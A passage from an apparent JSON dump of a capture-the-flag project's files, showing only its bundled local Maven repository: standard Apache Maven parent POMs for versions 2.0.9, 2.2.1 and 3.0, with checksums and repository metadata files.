<artifactId>maven-repository-metadata</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact-manager</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact-test</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-settings</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-core</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-toolchain</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      \n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-parameter-documenter</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-profile</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-registry</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-monitor</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-toolchain</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-provider-api</artifactId>\n        <version>1.0-beta-2</version> <!-- Can't use. bootstrap-mini isn't smart enough: <version>${wagonVersion}</version> -->\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh</artifactId>\n        <version>1.0-beta-2</version> <!-- Can't use. bootstrap-mini isn't smart enough: <version>${wagonVersion}</version> -->\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh-external</artifactId>\n        <version>1.0-beta-2</version> <!-- Can't use. bootstrap-mini isn't smart enough: <version>${wagonVersion}</version> -->\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-file</artifactId>\n        <version>1.0-beta-2</version> <!-- Can't use. bootstrap-mini isn't smart enough: <version>${wagonVersion}</version> -->\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-beta-2</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-http-lightweight</artifactId>\n        <version>1.0-beta-2</version> <!-- Can't use. bootstrap-mini isn't smart enough: <version>${wagonVersion}</version> -->\n      </dependency>\n      <dependency>\n        <groupId>easymock</groupId>\n        <artifactId>easymock</artifactId>\n        <version>1.2_Java1.3</version>\n        <scope>test</scope>\n      </dependency>\n      <dependency>\n        <groupId>classworlds</groupId>\n        <artifactId>classworlds</artifactId>\n        <version>1.1</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/ref/${project.version}/</url>\n    </site>\n  </distributionManagement>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <inherited>false</inherited>\n            <configuration>\n              <descriptors>\n                <descriptor>src/main/assembly/src.xml</descriptor>\n              </descriptors>\n              <tarLongFileMode>gnu</tarLongFileMode>\n              <finalName>maven-${project.version}-src</finalName>\n            </configuration>\n            <executions>\n              <execution>\n                <id>make-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>run-its</id>\n      <modules>\n        <module>maven-core-it-runner</module>\n      </modules>\n    </profile>\n\n    <profile>\n      <!-- To generate aggregate reports, calling twice mvn site -Preporting,  mvn site -Preporting-aggregate -->\n      <id>reporting-aggregate</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <configuration>\n              <aggregate>true</aggregate>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n              <aggregate>true</aggregate>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.9/maven-2.0.9.pom.sha1",
    "content": "696e3d1eaf254c63347613715faa31e5eecb282d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:35 CST 2018\nmaven-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.2.1/maven-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>11</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven</artifactId>\n  <version>2.2.1</version>\n  <packaging>pom</packaging>\n\n  <name>Maven</name>\n  <description>Maven is a project development management and comprehension tool. Based on the concept of a project object model: builds, dependency management, documentation creation, site publication, and distribution publication are all controlled from the declarative file. Maven can be extended by plugins to utilise a number of other development tools for reporting or the build process.</description>\n  <url>http://maven.apache.org</url>\n  <inceptionYear>2001</inceptionYear>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MNG</url>\n  </issueManagement>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/maven-2/tags/maven-2.2.1</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/maven-2/tags/maven-2.2.1</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/maven-2/tags/maven-2.2.1</url>\n  </scm>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-4</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-shade-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0-beta-2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/maven-2/tags</tagBase>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n            <preparationGoals>install</preparationGoals>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0.1</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n          <executions>\n            <execution>\n              <id>site-docs</id>\n              <phase>pre-site</phase>\n              <goals>\n                <goal>xdoc</goal>\n                <goal>xsd</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>standard</id>\n              <goals>\n                <goal>java</goal>\n                <goal>xpp3-reader</goal>\n                <goal>xpp3-writer</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.1</version>\n          <configuration>\n            <!-- needed for release: default value \"(,${project.version})\" for 2.0.10 is 2.0.10-SNAPSHOT -->\n            <comparisonVersion>2.2.0</comparisonVersion>\n            <excludes>\n              <exclude>org/apache/maven/artifact/manager/WagonManager*</exclude>\n              <exclude>org/apache/maven/extension/ExtensionManager*</exclude>\n              <exclude>org/apache/maven/plugin/PluginManager*</exclude>\n            </excludes>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.0-alpha-4</version>\n        <executions>\n          <execution>\n            <id>enforce-jdk</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireJavaVersion>\n                  <version>[1.5.0,]</version>\n                </requireJavaVersion>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <modules>\n    <module>maven-artifact</module>\n    <module>maven-artifact-manager</module>\n    <module>maven-artifact-test</module>\n    <module>maven-compat</module>\n    <module>maven-core</module>\n    <module>maven-error-diagnostics</module>\n    <module>maven-model</module>\n    <module>maven-monitor</module>\n    <module>maven-plugin-api</module>\n    <module>maven-plugin-descriptor</module>\n    <module>maven-plugin-parameter-documenter</module>\n    <module>maven-plugin-registry</module>\n    <module>maven-profile</module>\n    <module>maven-project</module>\n    <module>maven-reporting</module>\n    <module>maven-repository-metadata</module>\n    <module>maven-script</module>\n    <module>maven-settings</module>\n    <module>maven-toolchain</module>\n    <module>apache-maven</module>\n  </modules>\n\n  <properties>\n    <mavenVersion>2.2.1</mavenVersion>\n    <wagonVersion>1.0-beta-6</wagonVersion>\n    <doxiaVersion>1.1</doxiaVersion>\n  </properties>\n\n  <!--start-->\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <dependencyManagement>\n    <!--end-->\n    <dependencies>\n      <!-- Maven -->\n      <!--start-->\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-descriptor</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-error-diagnostics</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-model</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-project</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.reporting</groupId>\n        <artifactId>maven-reporting-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-repository-metadata</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact-manager</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact-test</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-settings</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-compat</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-core</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-parameter-documenter</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-profile</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-registry</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-monitor</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-toolchain</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <!--end-->\n      <dependency>\n        <groupId>commons-cli</groupId>\n        <artifactId>commons-cli</artifactId>\n        <version>1.2</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-sink-api</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-logging-api</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-interpolation</artifactId>\n        <version>1.11</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.15</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.plexus</groupId>\n        <artifactId>plexus-sec-dispatcher</artifactId>\n        <version>1.3</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-provider-api</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh-external</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-file</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav-jackrabbit</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-http</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-http-lightweight</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-jdk14</artifactId>\n        <version>1.5.6</version>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>jcl-over-slf4j</artifactId>\n        <version>1.5.6</version>\n      </dependency>\n      <dependency>\n        <groupId>backport-util-concurrent</groupId>\n        <artifactId>backport-util-concurrent</artifactId>\n        <version>3.1</version>\n      </dependency>\n      <dependency>\n        <groupId>easymock</groupId>\n        <artifactId>easymock</artifactId>\n        <version>1.2_Java1.3</version>\n        <scope>test</scope>\n      </dependency>\n      <dependency>\n        <groupId>classworlds</groupId>\n        <artifactId>classworlds</artifactId>\n        <version>1.1</version>\n      </dependency>\n    </dependencies>\n    <!--start-->\n  </dependencyManagement>\n  <!--end-->\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/ref/${project.version}/</url>\n    </site>\n  </distributionManagement>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <build>\n        <plugins>\n          <!-- This is here until it is enabled in the parent -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- This is here until it is enabled in the parent -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>run-its</id>\n      <modules>\n        <module>maven-core-it-runner</module>\n      </modules>\n    </profile>\n\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin><!-- TODO: remove when upgrading parent to version 12 -->\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1.1</version>\n          </plugin><!-- /TODO -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <profile>\n      <id>reporting-aggregate</id>\n      <!-- To generate aggregate reports -->\n      <!-- To deploy both aggregate reports for top-level project and standalone reports for modules, call\n           mvn site -Preporting\n           mvn site:deploy\n           mvn site -Preporting-aggregate\n           mvn -N site:deploy\n      -->\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1.1</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <aggregate>true</aggregate>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n              <aggregate>true</aggregate>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.2.1/maven-2.2.1.pom.sha1",
    "content": "7bc311044fbacb404de025b76feefa3567f0e5d7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:05 CST 2018\nmaven-3.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/3.0/maven-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n  <!--\n    Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE\n    file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file\n    to you under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n    the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by\n    applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language\n    governing permissions and limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>15</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven</artifactId>\n  <version>3.0</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven 3.x</name>\n  <description>Maven is a project development management and\n    comprehension tool. Based on the concept of a project object model:\n    builds, dependency management, documentation creation, site\n    publication, and distribution publication are all controlled from\n    the declarative file. Maven can be extended by plugins to utilise a\n    number of other development tools for reporting or the build\n    process.\n  </description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2001</inceptionYear>\n\n  <properties>\n    <classWorldsVersion>2.2.3</classWorldsVersion>\n    <commonsCliVersion>1.2</commonsCliVersion>\n    <easyMockVersion>1.2_Java1.3</easyMockVersion>\n    <junitVersion>3.8.2</junitVersion>\n    <plexusVersion>1.5.5</plexusVersion>\n    <plexusInterpolationVersion>1.14</plexusInterpolationVersion>\n    <plexusUtilsVersion>2.0.4</plexusUtilsVersion>\n    <sisuInjectVersion>1.4.2</sisuInjectVersion>\n    <wagonVersion>1.0-beta-6</wagonVersion>\n    <securityDispatcherVersion>1.3</securityDispatcherVersion>\n    <cipherVersion>1.4</cipherVersion>\n    <modelloVersion>1.4</modelloVersion>\n    <jxpathVersion>1.3</jxpathVersion>\n    <aetherVersion>1.7</aetherVersion>\n    <maven.test.redirectTestOutputToFile>true</maven.test.redirectTestOutputToFile>\n  </properties>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      